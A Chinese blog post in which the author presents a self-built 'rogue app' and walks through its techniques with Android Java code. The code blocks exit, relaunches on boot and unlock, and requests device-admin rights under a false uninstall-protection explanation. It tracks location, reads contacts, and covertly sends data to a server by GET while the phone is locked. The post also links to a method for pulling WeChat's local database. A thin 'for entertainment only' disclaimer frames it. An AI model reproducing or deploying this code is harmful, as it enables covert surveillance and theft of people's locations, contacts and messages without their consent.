工作之余做了一个流氓软件,下面给大家分享一下流氓手段。小菜:仅做娱乐参考,不予以不当用途。
通过一个定位app或者一个连接(图片/二维码/网页)获取用户实时位置上传到后台,通过获取联系人权限获取联系人上传到后台,再通过跟踪app对各个定位app进行跟踪查询。功能挺简单,记录一下穷人的程序保活方法。
7.0过后做进程保活就难咯,与其花时间去研究这玩意,倒不如去研究用户的新需求,添加系统粘性来的实在。当然也不是没有办法解决,有钱人就向微信、支付宝等学习,没钱就看下面!
以上是历史的存在,下面才是我们要面对的现实。
避免按返回程序onDestroy()
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_BACK) {
isDestroy = true;
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.addCategory(Intent.CATEGORY_HOME);
startActivity(intent);
return true;
}
return super.onKeyDown(keyCode, event);
}
用户重启等监听(解锁监听需要动态注册),通过广播接收相应动作进行功能操作
//静态注册
在onReceive()进行相关监听
public class mBroadcastReceiver extends BroadcastReceiver {
// private Intent intentService;
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
DebugUtil.debug("mBroadcastReceiver:", "已进入广播");
/**
* 自定义广播,服务关闭时
*/
if (intent.getAction().equals("com.example.mapapp.service.destroy")) {
DebugUtil.debug("mBroadcastReceiver:", "自定义广播,服务关闭重启程序11");
// intentService = new Intent(context, mService.class);
// context.startService(intentService);
appIntent(context);
}
/**
* 手机开机
*/
if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
DebugUtil.debug("mBroadcastReceiver:", "开机启动程序");
appIntent(context);
// if (!mUtils.isServiceRunning(context, mService.class)) {
// intentService = new Intent(context, mService.class);
// context.startService(intentService);
// }
}
/**
* 按电源键
*/
if (intent.getAction().equals(Intent.ACTION_USER_PRESENT)) {
DebugUtil.debug("mBroadcastReceiver:", "唤醒屏幕启动程序");
appIntent(context);
// if (!mUtils.isServiceRunning(context, mService.class)) {
// intentService = new Intent(context, mService.class);
// context.startService(intentService);
// }
}
/**
* 开锁
*/
if (intent.getAction().equals(Intent.ACTION_SCREEN_ON)) {
DebugUtil.debug("mBroadcastReceiver:", "正在解锁");
appIntent(context);
}
/**
* 锁屏
*/
if (intent.getAction().equals(Intent.ACTION_SCREEN_OFF)) {
DebugUtil.debug("mBroadcastReceiver:", "正在锁屏");
}
/**
* SD挂载
*/
if (intent.getAction().equals(Intent.ACTION_MEDIA_MOUNTED)) {
DebugUtil.debug("mBroadcastReceiver:", "SD挂载");
appIntent(context);
}
/**
* SD
*/
if (intent.getAction().equals(Intent.ACTION_MEDIA_UNMOUNTED)) {
DebugUtil.debug("mBroadcastReceiver:", "SD不挂载");
}
}
@SuppressLint("InlinedApi")
public void appIntent(Context context) {
try {
Intent intent = context.getPackageManager()
.getLaunchIntentForPackage("com.example.mlocation");
if (intent != null) {
intent.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES
| Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent);
}else {
// 开启服务--上传位置信息到服务器
Intent intentService = new Intent(context, mService.class);
context.startService(intentService);
}
DebugUtil.debug("mBroadcastReceiver:", "广播打开程序");
} catch (ActivityNotFoundException e) {
DebugUtil.debug("mBroadcastReceiver:", "广播打开程序失败");
}
}
}
ok就是酱紫了,不过这玩意并不是那么理想的,要不然就显示不出穷人和土豪的区别,这玩意一套弄下来,基本只能保证在进程还有被kill掉的情况下才能生效。亲测:机顶盒android4.4上可以直接监听到系统重启等相关动作,android7.1的360手机和8.0小米手机不行。
继承DeviceAdminReceiver类,里面的可以不要做任何逻辑处理。
public class MyDeviceAdminReceiver extends DeviceAdminReceiver {
}
注册一下,description可以写一下你给用户看的描述。
调用系统激活服务
// 激活设备超级管理员
public void activation() {
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
// 初始化要激活的组件
ComponentName mDeviceAdminSample = new ComponentName(MainActivity.this, MyDeviceAdminReceiver.class);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample);
intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "激活可以防止随意卸载应用");
startActivity(intent);
}
这玩意呢,也是分版本的,低版本确实可以,卸载的时候提示去除管理权限才可以卸载,但是高版本也没得什么用处。
这玩意呢用来干什么呢,就是当你在获取用户联系人、号码、甚至聊天记录等相关隐私的时候,偷偷的通过get的方式将数据上传到你自己的后台。
Timer timer = new Timer();
final KeyguardManager km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);
TimerTask task = new TimerTask() {
@Override
public void run() {
// TODO: 2017/6/26 如果用户锁屏状态下,就打开网页通过get方式偷偷传输数据
if (km.inKeyguardRestrictedInputMode()) {
Intent intent = new Intent();
intent.setAction(Intent.ACTION_VIEW);
intent.addCategory(Intent.CATEGORY_BROWSABLE);
intent.setData(Uri
.parse("http://192.168.0.2/send?user=1&pwd=2"));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}else{
// TODO: 2017/6/26 判断如果在桌面就什么也不做 ,如果不在桌面就返回
Intent intent = new Intent();
intent.setAction("android.intent.action.MAIN");
intent.addCategory("android.intent.category.HOME");
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.addCategory("android.intent.category.MONKEY");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}
}
};
timer.schedule(task, 1000, 2000);
低版本上final KeyguardManager km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);可能会报错,但是我相信你会有其他方法来判断是否为锁屏状态的,为什么不在不锁屏的时候偷偷上传呢,你自己调用一下就知道了。
这玩意的确可以,但是有一个问题就是需要用户手动确认打开权限,没钱人的悲哀,我这里找到了一个小米的跳转至设置界面的代码,其他机型等待大神来添加了。
// 第一次安装
if (isFirstStart(this)) {
// 如果是小米手机,跳到白名单设置界面
if (Build.MANUFACTURER.equals("Xiaomi")) {
Intent intent = new Intent();
intent.setAction("miui.intent.action.OP_AUTO_START");
intent.addCategory(Intent.CATEGORY_DEFAULT);
startActivity(intent);
}
}
/**
* 是否第一次打开
*
* @param context
* @return
*/
public boolean isFirstStart(Context context) {
SharedPreferences preferences = context.getSharedPreferences(
"SHARE_APP_TAG", 0);
Boolean isFirst = preferences.getBoolean("FIRSTStart", true);
if (isFirst) {// 第一次
preferences.edit().putBoolean("FIRSTStart", false).commit();
Log.i("test", "一次");
return true;
} else {
Log.i("test", "N次");
return false;
}
}
这玩意如果用户同意打开自启权限的话,那已经算是穷人中的完美了。那为什么要添加一个是否是第一次安装呢,因为我笨,相信你的眼睛,我既然没法判断到程序是否打开了自启权限(这里有点尴尬,跳过跳过)。
什么叫数据采集呢,因为说是网络小偷也不好,下面是位置采集和用户信息采集的一些方法(仅做技术探讨),有什么不足的地方还希望大神们多多指教。
这个比较简单了,伪装app、换壳app等,具体是什么呢,就是伪造用户注册、登录等信息提交,把数据提交到自己的后台即可。
这个对于穷人来说有三种模式,gps获取、网络获取、基站获取。经过简单测试,发现还是百度定位比较好用,因为他本身就集成了多种模式获取功能,但是有一个情况就是用户在不打开权限的情况下就无法获取,所以结合了ip获取和基站获取一起使用,基本能达到要求。
百度Android定位sdk:http://lbsyun.baidu.com/index.php?title=android-locsdk
在mainactivity或者service中开始请求
mLocClient = new LocationClient(this);
mLocClient.registerLocationListener((BDLocationListener) myListener);
LocationClientOption option = new LocationClientOption();
option.setOpenGps(true); // 打开gps
/**
* 地址,位置描述
*/
// 可选,是否需要地址信息,默认为不需要,即参数为false
// 如果开发者需要获得当前点的地址信息,此处必须为true
option.setIsNeedAddress(true);
// 可选,是否需要位置描述信息,默认为不需要,即参数为false
// 如果开发者需要获得当前点的位置信息,此处必须为true
option.setIsNeedLocationDescribe(true);
/**
* 经纬度
*/
option.disableCache(true);
// 可选,设置返回经纬度坐标类型,默认GCJ02
// GCJ02:国测局坐标;
// BD09ll:百度经纬度坐标;
// BD09:百度墨卡托坐标;
// 海外地区定位,无需设置坐标类型,统一返回WGS84类型坐标
option.setCoorType("bd09ll");
// 可选,设置发起定位请求的间隔,int类型,单位ms
// 如果设置为0,则代表单次定位,即仅定位一次,默认为0
// 如果设置非0,需设置1000ms以上才有效
option.setScanSpan(1000 * 3);
// 可选,定位SDK内部是一个service,并放到了独立进程。
// 设置是否在stop的时候杀死这个进程,默认(建议)不杀死,即setIgnoreKillProcess(true)
option.setIgnoreKillProcess(false);
// 可选,设置是否需要过滤GPS仿真结果,默认需要,即参数为false
option.setEnableSimulateGps(false);
mLocClient.setLocOption(option);
mLocClient.start();
监听位置信息
public class MyLocationListenner implements BDLocationListener {
@Override
public void onReceiveLocation(BDLocation location) {
}
}
百度ip获取所在城市:http://api.map.baidu.com/location/ip?ip=192.168.1.1&ak=jEWspme9xp7GApsMdCRoBmnLH6MELfln&mcode=14:2E:AF:59:AA:70:31:15:7E:DB:BD:52:AF:4A:97:04:A6:7E:F6:F7;com.example.mlocation
直接打开一个线程请求一下即可
public void getMapByIp() {
if (!isUuid) {
Log.i("test", "开始通过Ip请求位置信息:" + userIp);
String getUrl = "http://api.map.baidu.com/location/ip?ip="
+ userIp
+ "&ak=jEWspme9xp7GApsMdCRoBmnLH6MELfln&mcode=14:2E:AF:59:AA:70:31:15:7E:DB:BD:52:AF:4A:97:04:A6:7E:F6:F7;com.example.mlocation";
Func.getBaiDuMapByIpInfos(context, getUrl,
new OnImplInfosListener());
}
}
基站定位:https://blog.csdn.net/zeng622peng/article/details/78295922,这位大神说的很详细,我就不贴代码了?
这个不是什么新鲜事了,android四大主键之一,相信大家都很熟悉,获取到相应信息post到自己的服务器上就好了。这里推荐一个大神的文章:http://www.cnblogs.com/android100/p/android-tel-book.html
权限
初始化
private void init() {
// 实例化
asyncQueryHandler = new MyAsyncQueryHandler(getContentResolver());
Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI; // 联系人Uri;
// 查询的字段
String[] projection = { ContactsContract.CommonDataKinds.Phone._ID,
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
ContactsContract.CommonDataKinds.Phone.DATA1, "sort_key",
ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
ContactsContract.CommonDataKinds.Phone.PHOTO_ID,
ContactsContract.CommonDataKinds.Phone.LOOKUP_KEY };
// 按照sort_key升序查詢
asyncQueryHandler.startQuery(0, null, uri, projection, null, null,
"sort_key COLLATE LOCALIZED asc");
}
监听
private class MyAsyncQueryHandler extends AsyncQueryHandler {
public MyAsyncQueryHandler(ContentResolver cr) {
super(cr);
}
@Override
protected void onQueryComplete(int token, Object cookie, Cursor cursor) {
if (cursor != null && cursor.getCount() > 0) {
contactIdMap = new HashMap();
list = new ArrayList();
cursor.moveToFirst(); // 游标移动到第一项
for (int i = 0; i < cursor.getCount(); i++) {
cursor.moveToPosition(i);
String name = cursor.getString(1);
String number = cursor.getString(2);
String sortKey = cursor.getString(3);
int contactId = cursor.getInt(4);
Long photoId = cursor.getLong(5);
String lookUpKey = cursor.getString(6);
if (contactIdMap.containsKey(contactId)) {
// 无操作
} else {
// 创建联系人对象
ContactBean contact = new ContactBean();
contact.setDesplayName(name);
contact.setPhoneNum(number);
contact.setSortKey(sortKey);
contact.setPhotoId(photoId);
contact.setLookUpKey(lookUpKey);
list.add(contact);
contactIdMap.put(contactId, contact);
}
}
// if (list.size() > 0) {
// setAdapter(list);
// }
}
super.onQueryComplete(token, cookie, cursor);
}
}
获取到就好办了,至于要不要显示,还是直接上传到后台,这个就看个人需求了。
这里分享以为大神之作,意思是获取微信本地数据库的数据,这个思维可以解决很多问题,这里就不贴代码了,看大神:https://blog.csdn.net/njweiyukun/article/details/54024442?locationNum=10&fps=1
这个有两种方式,就是网页定位和ip定位,网页定位也是要提示获取权限的,ip定位只能获取所在城市。怎么来实现呢,把获取位置集成在web端,看我这篇文章:https://blog.csdn.net/qq_35350654/article/details/82252677
/**
* 百度开放接口通过IP地址获取地理位置
*
* @return 返回结果 String[]
*/
public static String getAddressByIp(String ip) {
if (ip == null || ip.equals("")) {
return null;
}
BufferedReader reader = null;
String result = null;
StringBuffer sbf = new StringBuffer();
String thisUrl = httpUrl + "?ip=" + ip;
try {
URL url = new URL(thisUrl);
HttpURLConnection connection = (HttpURLConnection) url
.openConnection();
connection.setRequestMethod("GET");
connection.setRequestProperty("apikey",
"127329af2783917a946abd0f8479f571");
connection.connect();
InputStream is = connection.getInputStream();
reader = new BufferedReader(new InputStreamReader(is, "UTF-8"));
String strRead = null;
while ((strRead = reader.readLine()) != null) {
sbf.append(strRead);
sbf.append("\r\n");
}
reader.close();
result = sbf.toString();
return=result ;
} catch (Exception e) {
SystemOut.println("获取IP地址失败");
}
return null;
}
编辑:吴明辉